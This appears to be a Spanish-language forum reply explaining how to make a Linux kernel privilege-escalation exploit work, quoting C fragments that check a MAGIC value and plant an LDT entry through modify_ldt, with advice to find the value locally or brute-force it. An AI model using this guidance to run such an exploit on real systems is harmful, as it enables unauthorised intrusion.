Bueno, este ultimo exploit que te he puesto, tienes que encontrar el valor de:
#define MAGIC 0xdeadbabe
En el sistema que quieres explotar. En el codigo, es usado aqui:
if(r != MAGIC) {
printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
fatal("find LDT", 1);
}
Osea, que MAGIC tiene que ver con la tabla LDT de algun proceso.
Y aqui tambien es usado:
static struct modify_ldt_ldt_s l;
pnum++;
if(pnum==1) {
pidx = max_page-1;
}
else if(pnum==2) {
memset(&l, 0, sizeof(l));
l.entry_number = LDT_ENTRIES-1;
l.seg_32bit = 1;
l.base_addr = MAGIC >> 16;
l.limit = MAGIC & 0xffff;
l.limit_in_pages = 1;
if( modify_ldt(1, &l, sizeof(l)) != 0 )
fatal("modify_ldt", 1);
pidx = max_page-1;
}
Lo mismo. Tienes que saber el valor "MAGIC" para el sistema que quieres explotar, y para el proceso que tenga que te interesa cargar para saber su LDT. Si no, te fallara el exploit. Lo mas facil que puedes hacer es instalarte ese sistema en tu PC y trastear hasta dar con su valor. O implementar un bruteforce.
Hay mucha info en Inet sobre la tabla LDT en Linux, cuestion de buscar
